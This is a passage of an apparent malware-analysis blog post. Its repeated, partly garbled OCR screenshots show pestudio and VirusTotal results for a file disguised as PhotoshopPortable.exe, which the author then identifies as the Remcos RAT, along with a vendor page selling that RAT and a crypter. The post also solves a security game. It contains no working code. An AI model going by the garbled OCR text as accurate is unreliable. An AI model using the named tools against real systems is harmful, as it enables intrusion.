	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1.11) imports (13/0/6) exports (0) otls-callbacks (n/a) resources (unknown) c strings (wait) § debug (n/a) marifest (n/a) version (PhotoshopPortable.exe) c certificate (n/a) overlay (wait)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
V pestuc File Hel C Tile C Tile C T	lio 8.71 - Malware Initial Assessment - w p users\mert\desktop\profile\profile.exe indicators (wait) wirustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tIs-callbacks (n/a) resources (unknown) e strings (wait) § debug (n/a) manifest (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
✓ pestuc File Hel → 1 → 1 → 1 → 1 → 1 → 1 → 1 → 1	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) wirustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) > exports (0) o tts-callbacks (n/a) resources (unknown) c strings (wait) debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) c certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Curse	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018	age (days)	
V pestuc File Hel C C C C C C C C C C C C C C C C C C C	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tt-callbacks (n/a) resources (unknown) e strings (wait) § debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Sumpter	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel C C C C C C C C C C C C C C C C C C C	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) ots-callbacks (n/a) resources (unknown) c strings (wait) k debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro HeureC-"	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel Pestuc File Hel File Hel Pestuc File Hel Pestuc File Hel File Hel File File Hel File Hel File File Hel File File File File File File File File File File File File File File File File File File File	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe i indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) i imports (13/0/6) exports (0) o tls-callbacks (n/a) a resources (unknown) c strings (wait) k debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Polente	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel V V V V V V V V V V V V V V V V V V V	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tls-callbacks (n/a) resources (unknown) c strings (wait) g debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) ots-callbacks (n/a) a resources (unknown) c strings (wait) § debug (n/a) manifest (n/a)) version (PhotoshopPortable.exe) certificate (n/a)) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV Sido La Calanti ClamAV Sido La Calanti Sido La Calanti ClamAV Sido La Calanti ClamAV Sido La Calanti ClamAV Sido La Calanti ClamAV Sido La Calanti ClamAV Sido La Cala	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel P - C - C - C - C - C - C - C - C	Iio 8.71 - Malware Initial Assessment - w Ip Iiio 8.71 - Malware Initial Assessment - w Iiioicators (wait) Virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) Imports (13/0/6) exports (0) otls-callbacks (n/a) resources (unknown) c strings (wait) § debug (n/a) manifest (n/a) overlay (wait)	engine (66) engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018	age (days)	
V pestud File Hel Pestud File Hel File Hel File File Hel File Hel File	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1.11) imports (13/0/6) exports (0) otls-callbacks (n/a) resources (unknown) c strings (wait) § debug (n/a) marifest (n/a) version (PhotoshopPortable.exe) c certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-Antivirus	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018	age (days)	
V pestuc File Hel C C C C C C C C C C C C C C C C C C C	lio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) wirustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) ots-callbacks (n/a) resources (unknown) e strings (wait) § debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-AntiVirus SUPERAntiSpyware	positiv (7) Malware.UndefinedI8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 09.02.2018 08.02.2018	age (days)	
V pestuc File Hel C C C C C C C C C C C C C C C C C C C	tio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) ots-callbacks (n/a) resources (unknown) c strings (wait) k debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-AntiVirus SUPERAntiSpyware Tencent	positiv (7) Malware.UndefinedIS.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Closan Clean Cl	date (dd.mm.yyyy) 08.02.2018 08.02.2018 08.02.2018 08.02.2018 08.02.2018 09.02.2018 08.02.2018	age (days)	
V pestuc File Hel C C C C C C C C C C C C C C C C C C C	<pre>lio 8.71 - Malware Initial Assessment - w p lio 8.71 - Malware Initial Assessment - w p liosection (mathematical assessment) lioseries (wait) lioseries (J/10 - 08.02.2018) directories (4) sections (entry-point) libraries (J/11) limports (13/0/6) exports (0) otts-callbacks (n/a) resources (unknown) c strings (wait) lioseries (n/a) manifest (n/a) overlay (wait)</pre>	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker KTGW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-Antivirus SUPERAntiSpyware Tencent Ad-Aware	positiv (7) Malware.Undefinedi8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel V V V V V V V V V V V V V V V V V V V	Iio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe i indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tls-callbacks (n/a) a resources (unknown) c strings (wait) č debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a)) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-Antivirus SUPERAntiSpyware Tencent Ad-Aware Emsisoft	positiv (7) Malware.Undefinedl8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
✓ pestuc File Hel → → → → → → → → → → → → → → →	Iio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) o tls-callbacks (n/a) resources (unknown) c strings (wait) g debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) o verlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-Antivirus SUPERAntiSpyware Tencent Ad-Aware Emsisoft Comodo	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	
V pestuc File Hel V V V V V V V V V V V V V V V V V V V	Iio 8.71 - Malware Initial Assessment - w p Lusers\mert\desktop\profile\profile.exe indicators (wait) virustotal (7/67 - 08.02.2018) dos-stub (192 bytes) file-header (Jun.1992) optional-header (suspicious) directories (4) sections (entry-point) libraries (1/11) imports (13/0/6) exports (0) ots-callbacks (n/a) resources (unknown) c strings (wait) g debug (n/a) manifest (n/a) version (PhotoshopPortable.exe) certificate (n/a) overlay (wait)	engine (66) Rising Ikarus Kaspersky ZoneAlarm Cylance ESET-NOD32 Bkav MicroWorld-eScan nProtect CMC CAT-QuickHeal McAfee Zillya AegisLab TheHacker K7GW K7AntiVirus Arcabit TrendMicro Baidu Cyren Symantec TrendMicro-HouseCall Paloalto ClamAV BitDefender NANO-Antivirus SUPERAntiSpyware Tencent Ad-Aware Emsisoft Comodo F-Secure	positiv (7) Malware.Undefined!8.C (TFE:1:uxD6hhSaRvV) Trojan.Win32.Refroso UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic UDS:DangerousObject.Multi.Generic Unsafe a variant of Win32/GenKryptik.BPIC clean	date (dd.mm.yyyy) 08.02.2018	age (days)	



When I analyzed the "svchost.exe" (profile.exe) program using the x64dbg debugger tool, the main malicious software, which was the Remcos RAT malware, finally revealed itself like a matryoshka doll.



Main Products Breaking X		6696 - 0 ×
← → C ☆ a Secure https://breaking-security.net/main-products/		x 🕫 O 🗖 🛛 🗛 :
😗 Hack 4 Career. Inform 🛛 Linkedin 🈏 Mert SARICA (mertsa 🕅 Inbox - mert sarica 🗄 🔰 Login Splunk		Other bookmarks
Breaking-Security.net Home Blog Main Products Free Software	e Free Source Codes Shop Client Area Support Contact Q 🏲	
Remcos Remote Control	Conclusion Information Conclusion Information Conclusion Conclus	
* VIEW OTHER FEATURES	Bits unit a original Number of the State	
Octopus Crypter		
cracking.	Norm Control Stratute Mark Stratute	
	Corport National Conference on	

Matryoshka dolls, also known as stacking dolls, nesting dolls, Russian tea dolls, or Russian dolls, are a set of wooden dolls of decreasing size placed one inside another. The name matryoshka, mainly known as "little matron", is a diminutive form of Matryosha, in turn a diminutive of the Russian female first name Matryona.

Hope to see you in the following articles.

Note:

 This article also contains the solution for the Pi Hediyem Var #13 cybersecurity game.